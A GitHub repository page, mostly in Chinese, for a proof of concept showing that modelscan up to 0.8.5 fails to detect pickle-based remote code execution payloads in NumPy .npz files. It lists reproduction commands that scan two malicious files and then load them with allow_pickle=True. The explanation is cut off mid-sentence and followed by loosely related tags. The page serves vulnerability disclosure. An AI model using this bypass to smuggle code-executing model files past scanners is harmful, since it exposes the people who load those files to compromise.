jasonmiao0511-hue/modelscan-npz-bypass-poc

GitHub: jasonmiao0511-hue/modelscan-npz-bypass-poc

演示 modelscan 0.8.5 及以下版本在扫描 NumPy .npz 文件时无法检出 pickle 反序列化 RCE payload 的检测绕过 PoC。

Stars: 0 | Forks: 0

# modelscan NumPy .npz 绕过 PoC ## 摘要 演示了针对 `modelscan` (<= 0.8.5) 在 NumPy .npz 文件中检测绕过的两个 PoC: 1. **`malicious.npz`** — 通过 pickle payload 中的 `os.system` 实现的基本 RCE(由于文件结构,仍然可以绕过 modelscan 的 NPZ 扫描器) 2. **`rce_bypass.npz`** — 完整的 marshal+types+base64 链(已公开的绕过类) ## 受影响范围 - modelscan <= 0.8.5 - numpy >= 1.10(所有使用 pickle 处理对象数组的版本) - `np.load(..., allow_pickle=True)`(历史默认值) ## 复现 ``` pip install modelscan numpy # 基础 PoC modelscan scan -p malicious.npz # reports "No issues" (BYPASS) python -c "import numpy as np; np.load('malicious.npz', allow_pickle=True)" cat pwned_p4.txt # PWNED_P4 # Bypass variant modelscan scan -p rce_bypass.npz # reports "No issues" (BYPASS) python -c "import numpy as np; np.load('rce_bypass.npz', allow_pickle=True)" cat pwned_p4.txt # PWNED_P4 ``` ## 攻击链 .npz 格式是一个包含 `.npy` 文件的 ZIP 归档文件。当 `allow_pickle=True` 时,NumPy 使用 pickle 反序列化对象数组(`
标签:AI安全, Chat Copilot, DNS 反向解析, Go语言工具, Python, 安全, 无后门, 漏洞验证PoC, 超时处理, 逆向工具